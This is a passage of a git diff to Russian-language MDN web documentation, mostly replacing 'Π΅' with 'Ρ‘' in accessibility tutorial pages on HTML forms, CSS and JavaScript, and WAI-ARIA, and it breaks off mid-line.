+<p><span class="short_text" id="result_box" lang="ru"><span>Π’ языках</span> <span>программирования, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ</span> <span>JavaScript</span></span> , <span id="result_box" lang="ru"><span>ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ°</span> <span>являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая</span> <span>ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π°</span> <span>для Π²Ρ‹Π·ΠΎΠ²Π°</span> <span>ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅</span> <span>Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span></span> , <span class="short_text" id="result_box" lang="ru"><span>ΠΈΠ½ΠΎΠ³Π΄Π°</span> <span>ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для удобства</span></span> , <span id="result_box" lang="ru"><span>Π° ΠΈΠ½ΠΎΠ³Π΄Π°</span> <span>адаптируя ΠΈΡ…</span> <span class="alt-edited">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ</span> <span class="alt-edited">Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠΉΡΡ</span> <span>Π·Π°Π΄Π°Ρ‡Ρƒ</span> <span>Π² процСссС</span></span>.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС"><span class="short_text" id="result_box" lang="ru"><span class="alt-edited">Π£Π·Π½Π°Ρ‚ΡŒ большС</span></span></h2>
diff --git a/files/ru/learn/accessibility/css_and_javascript/index.html b/files/ru/learn/accessibility/css_and_javascript/index.html
index d55d8b79b4..f262b3d161 100644
--- a/files/ru/learn/accessibility/css_and_javascript/index.html
+++ b/files/ru/learn/accessibility/css_and_javascript/index.html
@@ -21,7 +21,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/CSS_and_JavaScript
</tr>
<tr>
<th scope="row">Π¦Π΅Π»ΠΈ:</th>
- <td>ΠŸΡ€ΠΈΠΎΠ±Ρ€Π΅ΡΡ‚ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΎΡΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ использовании CSS ΠΈ JavaScript Π² Π²Π°ΡˆΠΈΡ… web Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… для максимального увСличСния доступности ΠΈ (not detract from it)-(ΠΏΡ€ΠΈΠ²Π΅Ρ‚ я Π½Π΅ понял ΠΊΠ°ΠΊ пСрСводится эти слова Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³ΠΈΡ‚Π΅ Ссли ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅).</td>
+ <td>ΠŸΡ€ΠΈΠΎΠ±Ρ€Π΅ΡΡ‚ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΎΡΠ²Π΅Π΄ΠΎΠΌΠ»Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ использовании CSS ΠΈ JavaScript Π² Π²Π°ΡˆΠΈΡ… web Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… для максимального увСличСния доступности ΠΈ (not detract from it)-(ΠΏΡ€ΠΈΠ²Π΅Ρ‚ я Π½Π΅ понял ΠΊΠ°ΠΊ пСрСводится эти слова Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³ΠΈΡ‚Π΅ Ссли ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅).</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/learn/accessibility/html/index.html b/files/ru/learn/accessibility/html/index.html
index bc6289bc1f..cf6f72f855 100644
--- a/files/ru/learn/accessibility/html/index.html
+++ b/files/ru/learn/accessibility/html/index.html
@@ -386,7 +386,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/HTML
<p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png" style="display: block; margin: 0 auto;"></p>
-<p>Как бонус, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² привязка описания ΠΊ полю ввода ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ описанию, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ/Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅Β Π½Π° элСмСнт Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΠ·-Π·Π° ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ Π·ΠΎΠ½Ρ‹ наТатия.</p>
+<p>Как бонус, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² привязка описания ΠΊ полю ввода ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ описанию, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ/Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅Β Π½Π° элСмСнт Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΠ·-Π·Π° ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ Π·ΠΎΠ½Ρ‹ наТатия.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Ρ…ΠΎΡ€ΠΎΡˆΠΈΠ΅ ΠΈ ΠΏΠ»ΠΎΡ…ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π½Π° <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> ΠΈ <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>.</p>
diff --git a/files/ru/learn/accessibility/index.html b/files/ru/learn/accessibility/index.html
index 36a072e071..ddaa937807 100644
--- a/files/ru/learn/accessibility/index.html
+++ b/files/ru/learn/accessibility/index.html
@@ -12,7 +12,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ
---
<div>{{LearnSidebar}}</div>
-<p class="summary">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅Β HTML, CSS, ΠΈ JavaScript ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, Π½ΠΎ ваши знания Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ использования Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ β€” Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ отвСтствСнны ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Π½Π΅ лишая Π½ΠΈΠΊΠΎΠ³ΠΎ возмоТности ΠΈΡ… использования. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ общСпринятым Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°ΠΌ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² ΡΡ‚Π°Ρ‚ΡŒΡΡ… посвящСнных <a href="/ru-RU/docs/Learn/HTML">HTML</a>, <a href="/ru-RU/docs/Learn/CSS">CSS</a> ΠΈ <a href="/ru-RU/docs/Learn/JavaScript">JavaScript</a>), ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ <a href="/ru-RU/docs/Learn/Tools_and_testing/Cross_browser_testing">кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС</a>Β ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ с самого Π½Π°Ρ‡Π°Π»Π°. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ рассмотрим эту Ρ‚Π΅ΠΌΡƒ Π² дСталях.</p>
+<p class="summary">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅Β HTML, CSS, ΠΈ JavaScript ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, Π½ΠΎ ваши знания Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ использования Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ β€” Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ отвСтствСнны ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Π½Π΅ лишая Π½ΠΈΠΊΠΎΠ³ΠΎ возмоТности ΠΈΡ… использования. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ общСпринятым Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°ΠΌ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² ΡΡ‚Π°Ρ‚ΡŒΡΡ… посвящённых <a href="/ru-RU/docs/Learn/HTML">HTML</a>, <a href="/ru-RU/docs/Learn/CSS">CSS</a> ΠΈ <a href="/ru-RU/docs/Learn/JavaScript">JavaScript</a>), ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ <a href="/ru-RU/docs/Learn/Tools_and_testing/Cross_browser_testing">кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС</a>Β ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ с самого Π½Π°Ρ‡Π°Π»Π°. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ рассмотрим эту Ρ‚Π΅ΠΌΡƒ Π² дСталях.</p>
<h2 id="ΠŸΡ€Π΅ΠΆΠ΄Π΅_Ρ‡Π΅ΠΌ_Π½Π°Ρ‡Π°Ρ‚ΡŒ">ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ</h2>
@@ -43,8 +43,8 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Π·Π½Π°Π½ΠΈΠΉ">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π·Π½Π°Π½ΠΈΠΉ</h2>
<dl>
- <dt><a href="/ru-RU/docs/Learn/Accessibility/Accessibility_troubleshooting">Найди Π½Π΅Π΄ΠΎΡ‡Π΅Ρ‚Ρ‹ Π² доступности</a></dt>
- <dd>Π’ этом Π±Π»ΠΎΠΊΠ΅ прСдставлСн достаточно простой сайт, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ,Β Π΅ΡΡ‚ΡŒ мноТСство Π½Π΅Π΄ΠΎΡ‡Π΅Ρ‚ΠΎΠ² Π² доступности. НСобходимо Π½Π°ΠΉΡ‚ΠΈ ΠΈΡ… ΠΈ ΠΏΠΎΡ‡ΠΈΠ½ΠΈΡ‚ΡŒ.</dd>
+ <dt><a href="/ru-RU/docs/Learn/Accessibility/Accessibility_troubleshooting">Найди Π½Π΅Π΄ΠΎΡ‡Ρ‘Ρ‚Ρ‹ Π² доступности</a></dt>
+ <dd>Π’ этом Π±Π»ΠΎΠΊΠ΅ прСдставлСн достаточно простой сайт, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ,Β Π΅ΡΡ‚ΡŒ мноТСство Π½Π΅Π΄ΠΎΡ‡Ρ‘Ρ‚ΠΎΠ² Π² доступности. НСобходимо Π½Π°ΠΉΡ‚ΠΈ ΠΈΡ… ΠΈ ΠΏΠΎΡ‡ΠΈΠ½ΠΈΡ‚ΡŒ.</dd>
</dl>
<h2 id="Π’Π°ΠΊΠΆΠ΅_совСтуСм_ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ">Π’Π°ΠΊΠΆΠ΅ совСтуСм ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ</h2>
diff --git a/files/ru/learn/accessibility/wai-aria_basics/index.html b/files/ru/learn/accessibility/wai-aria_basics/index.html
index 6155128bbd..e4bbc9d1f9 100644
--- a/files/ru/learn/accessibility/wai-aria_basics/index.html
+++ b/files/ru/learn/accessibility/wai-aria_basics/index.html
@@ -27,19 +27,19 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/WAI-ARIA_basics
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_WAI-ARIA">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ WAI-ARIA?</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с рассмотрСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ WAI-ARIA ΠΈ Ρ‡Π΅ΠΌ ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Π°.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с рассмотрСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ WAI-ARIA ΠΈ Ρ‡Π΅ΠΌ ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Π°.</p>
<h3 id="Новый_Π½Π°Π±ΠΎΡ€_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ">Новый Π½Π°Π±ΠΎΡ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</h3>
<p>Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΊΠ°ΠΊ Π²Π΅Π±-прилоТСния стали Π±ΠΎΠ»Π΅Π΅ слоТными ΠΈ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½Ρ‹ΠΌΠΈ, появились Π½ΠΎΠ²Ρ‹Π΅Β ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅Β Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΠΈΒ ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</p>
-<p><font><font>НапримСр, HTML5 Π²Π²Π΅Π» ряд сСмантичСских элСмСнтов,Β </font><font>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‰ΡƒΡŽΒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ страниц (Β </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/nav" title="HTML-элСмСнт &lt;nav> опрСдСляСт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ΅ΠΊΡ†ΠΈΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ссылок Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ (ΠΊΠ°ΠΊ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊ ΠΈ Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу). Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ‚Π°ΠΊΠΎΠΉ сСкции ΠΌΠΎΠΆΠ½ΠΎ привСсти мСню, якорныС ссылки."><code>&lt;nav&gt;</code></a><font><font>,Β </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/footer" title="HTML-элСмСнт &lt;footer> прСдставляСт Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» (Ρ„ΡƒΡ‚Π΅Ρ€, ΠΏΠΎΠ΄Π²Π°Π») для своСго блиТайшСго элСмСнта сСкционного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈΠ»ΠΈ сСкционного корня. Π€ΡƒΡ‚Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ сСкции, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± авторском ΠΏΡ€Π°Π²Π΅ ΠΈΠ»ΠΈ ссылки Π½Π° связанныС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹."><code>&lt;footer&gt;</code></a><font><font>ΠΈ Ρ‚.Π΄.). Π”ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊΒ </font><font>ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ доступны, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ просто использовали </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/div" title='Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ раздСлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° HTML (&lt;div>) являСтся Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ для элСмСнтов основного ΠΏΠΎΡ‚ΠΎΠΊΠ° ( flow content ). Он Π½Π΅ влияСт Π½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠ»ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΠΊΠ° Π½Π΅ стилизован, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS. Являясь "чистым" ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ, элСмСнт &lt;div> ΠΏΠΎ своСму сущСству Π½Π΅ прСдставляСт Π½ΠΈΡ‡Π΅Π³ΠΎ. ΠœΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΌ, ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ позволяСт Π»Π΅Π³ΠΊΠΎ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ '><code>&lt;div&gt;</code></a><font><font> с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ ΠΈΠ»ΠΈ классами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β </font></font><code>&lt;div class="nav"&gt;</code><font><font>, Π½ΠΎ это создавало ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ Π±Ρ‹Π»ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ простого способа найти ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉΒ Ρ€Π°Π·Π΄Π΅Π» страницы ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ способом.</font></font></p>
+<p><font><font>НапримСр, HTML5 Π²Π²Ρ‘Π» ряд сСмантичСских элСмСнтов,Β </font><font>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‰ΡƒΡŽΒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ страниц (Β </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/nav" title="HTML-элСмСнт &lt;nav> опрСдСляСт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ΅ΠΊΡ†ΠΈΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ссылок Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ (ΠΊΠ°ΠΊ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊ ΠΈ Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу). Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ‚Π°ΠΊΠΎΠΉ сСкции ΠΌΠΎΠΆΠ½ΠΎ привСсти мСню, якорныС ссылки."><code>&lt;nav&gt;</code></a><font><font>,Β </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/footer" title="HTML-элСмСнт &lt;footer> прСдставляСт Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» (Ρ„ΡƒΡ‚Π΅Ρ€, ΠΏΠΎΠ΄Π²Π°Π») для своСго блиТайшСго элСмСнта сСкционного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈΠ»ΠΈ сСкционного корня. Π€ΡƒΡ‚Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ сСкции, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± авторском ΠΏΡ€Π°Π²Π΅ ΠΈΠ»ΠΈ ссылки Π½Π° связанныС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹."><code>&lt;footer&gt;</code></a><font><font>ΠΈ Ρ‚.Π΄.). Π”ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊΒ </font><font>ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ доступны, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ просто использовали </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/div" title='Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ раздСлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° HTML (&lt;div>) являСтся Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ для элСмСнтов основного ΠΏΠΎΡ‚ΠΎΠΊΠ° ( flow content ). Он Π½Π΅ влияСт Π½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠ»ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΠΊΠ° Π½Π΅ стилизован, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS. Являясь "чистым" ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ, элСмСнт &lt;div> ΠΏΠΎ своСму сущСству Π½Π΅ прСдставляСт Π½ΠΈΡ‡Π΅Π³ΠΎ. ΠœΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΌ, ΠΎΠ½ 